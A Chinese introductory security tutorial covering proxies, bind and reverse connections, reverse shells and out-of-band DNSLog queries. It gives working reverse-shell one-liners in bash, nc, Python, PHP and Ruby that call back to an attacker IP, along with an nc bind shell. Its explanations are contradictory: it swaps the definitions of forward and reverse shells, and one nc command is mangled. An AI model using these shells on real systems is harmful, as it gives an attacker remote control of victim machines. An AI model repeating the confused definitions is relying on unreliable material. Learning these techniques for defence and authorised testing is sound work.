网络安全基础入门(四)—— 正反向代理&正反向连接与shell&带外查询
知识点
正向代理
反向代理
正向连接与正向shell
反向连接与反弹shell
带外查询
代理(Proxy)
代理(Proxy)是一种允许一个实体代表另一个实体执行某种任务或行动的机制或中介。在计算机网络中,代理是一台计算机或服务器,充当客户端和目标服务器之间的中介。网络代理可以用于多种目的,如加速数据传输、缓存、过滤内容、保护隐私、绕过防火墙等。常见的网络代理类型包括代理服务器、反向代理和内容分发网络(CDN)。
代理服务器: 代理服务器是一种位于网络中的服务器,它接受来自客户端的请求并将这些请求转发给目标服务器。代理服务器可以隐藏客户端的真实IP地址,提供匿名性,还可以用于访问受限制的内容,例如绕过地理区域限制的内容。
正向代理
正向代理:顺着请求的方向进行的代理,即代理服务器它是由你配置为你服务,去请求目标服务器地址。代理服务器代表客户端执行请求,当客户端需要访问互联网上的资源时,它向正向代理服务器发送请求,然后代理服务器将请求转发给目标服务器,并将响应返回给客户端。正向代理可用于隐藏客户端的真实IP地址,访问被限制的内容,过滤和加速请求等。我们访问一个目标时可以通过几个代理服务器进行转发,达到防止被其他人查到自己真实的IP的目的。
反向代理
反向代理:反向代理是位于目标服务器和客户端之间的服务器,代表目标服务器执行请求。当客户端需要访问某个服务时,它发送请求到反向代理服务器,然后代理服务器将请求转发给目标服务器,并将响应返回给客户端。反向代理通常用于负载均衡、SSL终止、内容缓存、安全性、保护后端服务器和隐藏后端服务器的身份等。
两者的区别与联系
区别:
正向代理即是客户端代理, 代理客户端, 服务端不知道实际发起请求的客户端。
反向代理即是服务端代理, 代理服务端, 客户端不知道实际提供服务的服务端。
联系:
1、正向代理和反向代理中的服务器都是对请求和响应进行转发。
2、都能提高访问速度。
3、帮助客户端或业务服务器隐藏真实的IP。
正向连接
正向连接(Forward Connection):正向连接是一种常见的网络通信模式,其中客户端主动发起连接到服务器或目标系统。正向连接通常用于客户端-服务器通信,客户端主动请求服务或资源,例如网页浏览、电子邮件发送和接收等。在正向连接中,客户端充当主动方,向服务器发起连接请求,然后服务器接受并处理请求。
正向shell
正向shell 是指一种网络连接和通信模式,其中目标系统(通常是受害者)主动建立与控制系统或服务器的连接,以便远程执行命令。在正向 shell 中,目标系统充当客户端,主动连接到远程服务器或控制服务器,以接受命令并将结果返回。正向 shell 通常用于合法的网络管理和维护操作,例如远程管理服务器。
正向shell 通常使用正向连接来建立与目标系统的连接。在正向 shell 攻击中,受害者系统充当客户端,主动连接到攻击者的控制服务器,建立正向连接。一旦连接建立,攻击者可以远程执行命令,访问目标系统并控制它。
nc 正向shell:
nc -lvp 8080 -e /bin/bash
nc 192.168.11.11 8080
反向连接
反向连接(Reverse Connection):反向连接是一种网络通信模式,其中目标系统(通常是受害者)主动建立与控制系统或服务器的连接。反向连接通常用于合法的远程管理和控制,例如远程桌面会话、SSH远程管理等。在反向连接中,目标系统充当客户端,主动连接到远程服务器或控制服务器,以接受命令并将结果返回。
反弹shell
反弹shell:反弹 shell 是指攻击者在目标系统上部署恶意代码或程序,使目标系统成为服务器,等待攻击者的系统或控制服务器主动连接。攻击者充当客户端,建立到目标系统的连接。反弹 shell 通常用于渗透测试和攻击。攻击者通过这种方式获得了对目标系统的远程访问和控制权。
反弹shell 攻击通常使用反向连接来建立与目标系统的连接。攻击者在目标系统上执行恶意代码,该代码使目标系统成为客户端,主动连接到攻击者的控制服务器,建立反向连接。一旦连接建立,攻击者可以远程执行命令,访问目标系统并控制它。
Linux常见反弹shell
bash反弹shell:
nc -lvp 4444
bash -i>& /dev/tcp/192.168.11.12/4444 0>&1
nc反弹shell
nc -lvp 4444
nc 192.168.11.12 666 /bin/bash | nc 192.168.11.12 666
nc 192.168.11.12 999 -e /bin/bash Linux
python反弹shell
nc -lvp 9999
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“192.168.11.12”,9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);'
PHP反弹shell
nc -lvp 6666
php -r '$sock=fsockopen(“192.168.11.12”,6666);exec(“/bin/sh -i <&3 >&3 2>&3”);'
ruby反弹shell
nc -lvp 4444
ruby -rsocket -e'f=TCPSocket.open(“192.168.11.12”,4444).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)'
带外查询
带外查询是一种网络攻击或渗透测试技术,其原理是在绕过网络安全设备(如防火墙、入侵检测系统)的检测下,通过非传统的通信通道来进行数据传输或执行操作。这种技术依赖于一些特殊的通信方法,以达到绕过检测的目的。通常需要易受攻击的实体生成出站TCP/UDP/ICMP请求,然后允许攻击者泄露数据。而从域名服务器(DNS)中提取数据。
简单的带外查询例子
有时候网站存在漏洞,但是数据不回显,这时候我们通过带外查询查看数据
1.访问dnslog.cn,点击Get SubDomain
2.启用powershell
3.点击Refresh Record,实现了一个简单的带外查询